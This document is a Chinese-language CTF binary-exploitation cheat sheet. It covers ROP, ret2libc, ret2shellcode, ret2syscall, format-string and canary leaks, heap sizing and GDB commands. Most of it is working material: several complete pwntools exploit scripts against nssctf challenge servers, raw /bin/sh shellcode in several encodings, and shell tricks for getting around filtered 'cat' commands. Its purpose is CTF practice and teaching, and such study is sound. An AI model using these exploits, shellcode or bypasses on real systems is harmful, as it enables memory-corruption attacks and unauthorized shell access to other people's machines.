干货
mprotect
int mprotect(void * addr, size_t len, int prot)
//len 是从addr开始的地址往后的字节
//prot的值 为 7 == 1 + 2 + 4 可读可写可执行
//无法访问 即PROT_NONE:不允许访问,值为 0
//可读权限 即PROT_READ:可读,值加 1
//可写权限 即PROT_WRITE:可读, 值加 2
//可执行权限 即PROT_EXEC:可执行,值加 4
shellcode
shellcode = asm(shellcraft.sh())
shellcode.ljust(256,b'a') //自动padding把shellcode的长度以b'a'补齐至256字节
Ubuntu libc 版本对照
Ubuntu20.04:libc-2.31
Ubuntu18.04:libc-2.27
Ubuntu16.04:libc-2.23
Ubuntu14.04:libc-2.19
溢出位数不够的时候,可以利用call函数可以减少位数的消耗,call会自动读取栈下方的变量当做相应的参数 可以构造 system(“sh”) 与/bin/sh效果相同,前者是会在环境变量中寻找sh,后者直接获取bin/sh 的权限


接受与输入位数相同的时候要使用io.sendafter不要输入一行,不然会覆盖掉下次的输入导致出现非预期的情况
在python中使用c的rand函数 自带的libc就相当于是一个so文件可以直接调用没必要自己写
from pwn import *
from ctypes import*
io = remote('node4.anna.nssctf.cn',28755)
elf = ELF("./bin")
context(arch='amd64', os='linux', log_level='debug')
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0))
libc.srand(libc.rand() % 3 - 0x5AB9D26E)
for i in range(120):
payload = str((libc.rand() % 4) + 1)
io.sendlineafter('Floor',payload)
io.interactive()
nc绕过
//cat 被过滤
tac file 查看文件
head -n 行数 file 显示文件的前n行
tail file 查看文件的后10行 tail -n +30 file 查看文件从第三十行开始到结尾
tail -c 20 file 查看文件后20个字符
more file 一页一页的查看file 空格键查看下一页,b返回上一页
nl file 也是查看文件,并显示行号
空格 == $IFS$9 ${IFS} <
反斜杠绕过 ca\t fl\ag.txt
单/双引号绕过 ca't' fl'a'g.txt
查看所有文本文件的 cat ./*
查看通配的 cat f* cat fl?g cat fl[a-z]g.txt
64位Ubuntu
ROP
ROPgadget
ROPgadget –binary filename –only “pop|ret”
from pwn import *
import ropgadget
# 加载二进制文件
binary = ELF('./pwn')
# ropgadget导入二进制文件
gadgets = ropgadget.binary(binary.path)
# 打印所有的gadgets
for gadget in gadgets:
print(gadget)
pop_rdi_ret = gadgets['pop rdi; ret']
# 打印出pop rdi; ret gadget的地址
print("pop rdi; ret gadget address: " + hex(pop_rdi_ret))
ret2libc
from pwn import *
from LibcSearcher3 import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('node4.anna.nssctf.cn', 28456)
elf = ELF('./pwn')
pop_rdi = 0x0400763
ret = 0x0400509
puts = 0x0400520
vuln = 0x004006BA
puts_got = 0x0601098
payload = b'a'*(16+8) + p64(pop_rdi) + p64(elf.got['puts']) + p64(puts) + p64(vuln)
io.sendline(payload)
real_puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success(hex(real_puts))
libc = LibcSearcher('puts',real_puts)
base = real_puts - libc.dump('puts')
bin_sh = base + libc.dump('str_bin_sh')
log.success(hex(bin_sh))
sys_addr = base + libc.dump('system')
payload2 = b'a'*(16+8) +p64(ret)+p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
io.sendline(payload2)
io.interactive()
ret2shellcode
# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
# 64位 较短的shellcode 23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
ret2syscall
与32位类似,但是传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号,64位调用号为0x3b给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)
rax:59
rdi:bin_sh_add
rsi:0
rdx:0
rcx:0
syscall
ROPgadget --binary demo | grep 'syscall'
格式化字符串漏洞
64位系统在printf 调用参数时利用栈传参 并遇到 % 时会进行判断,将所需类型的数据从栈上弹出来
攻击者使用类似于 “%s” 的格式规范就可以泄露出参数(指针指向内部存的数据),程序会将它作为一个ASCII字符串处理,直到遇到一个空字符。所以,如果攻击者能够操纵这个参数的值,那就可以泄露任意地址的内容。
保护
PIE
pie 保护使程序加载的时候基地址进行变化,但是偏移仍为原来的偏移量,可以通过格式化字符串进行泄露得到基地址,利用ELF进行获取相应函数的偏移从而达到调用的目的。
且程序加载是以页为单位,所以后三位是不变的,可以利用这个特性在ida中找到我们泄露的指令的偏移地址
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('node4.anna.nssctf.cn',28349)
elf = ELF('./find_flag')
payload = "%19$p" + "zz" +"%17$p"
io.sendlineafter('name?',payload)
io.recvuntil('you, ')
leak_addr = eval(io.recvuntil('zz')[:-2])
Canary = eval(io.recvuntil('!')[:-1])
log.success(hex(Canary))
log.success(hex(leak_addr))
Base = leak_addr - 0x146F
back_door = Base + 0x1229
payload2 = b'a'*56 + p64(Canary) + p64(0) + p64(back_door)
io.sendlineafter('else?',payload2)
io.interactive()
Canary
Canary总是以00结尾的,利用这一特点,通过覆盖Canary之前的字符,利用函数打印出Canary,每一次加载的Canary是相同,包括子进程也是相同的,注意我们输入之后有一个\n 也就是0xa要减去
payload = b'a'*(64+8-1) + b'b'
io.sendlineafter(b'overflow?',payload)
io.recvuntil(b'ab')
canary = u64(io.recv(8)) - 0xa
log.success(hex(canary))
在每次要检查Canary的时候将其放到检测的位置
32位Ubuntu
ROP
ret2shellcode
从栈上调用数据
payload = padding + sys_addr + 垃圾数据 + binsh_addr
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('node5.anna.nssctf.cn',24834)
sys_plt = 0x80483D0
bin_addr = 0x804A080
payload1 = b"/bin/sh"
io.sendlineafter('name',payload1)
payload2 = b'a'*(28+4) + p32(sys_plt) + p32(0) + p32(bin_addr)
io.sendlineafter('time~',payload2)
io.interactive()
ret2libc
泄露地址 在覆盖到ebp的时候将main函数的地址填入其中使其再次执行
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
先传system_addr 在binsh 中间的为ebp可用垃圾数据填充
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
ret2syscall
当程序很大的时候,会出现很多可以控制寄存器的ROPgadget
execve(重点函数,32位调用号为0x0b,64位调用号为0x3b。用途:在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序)
在三十二位上只要满足一下条件就可以让系统执行 execve(“/bin/sh”)
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
- 最后用int 0x80 中断 ROPgadget –binary name –only ‘int’
Heap
三十二位一字节为0x4 ,并且要2*SIZE_SZ取整向上对齐 计算公式为
real_size = ( allocated_size + 0x4 + 0x7 ) & ~(0x7);
如果要是想要保持chunk头的话 可以这样构造 三十二位 8对齐,64位0x10对齐
例: malloc(0x16);
payload = b'a'*0x18(32位2*字长对齐) + p32(0) + p32(0x21) + b'/bin/sh\x00'
GDB调试
断点
b *0x1234567 在指定位置下断点
b func_name 在指定函数的位置下断点
i b 查看断点的信息
b *$ rebase(0x123456)
查看数值
stack 0x40 查看栈上0x40位的东西
$pwndbg> p (char*)0xffffcf3b //将指定地址按照字符串方式输出
$pwndbg> set {char [8]} $esp = "/bin/sh" //修改指定地址的值为字符串,注意长度
x/16xg $rbp - 0x40 查看16个QWORD的rbp-0x40上面的东西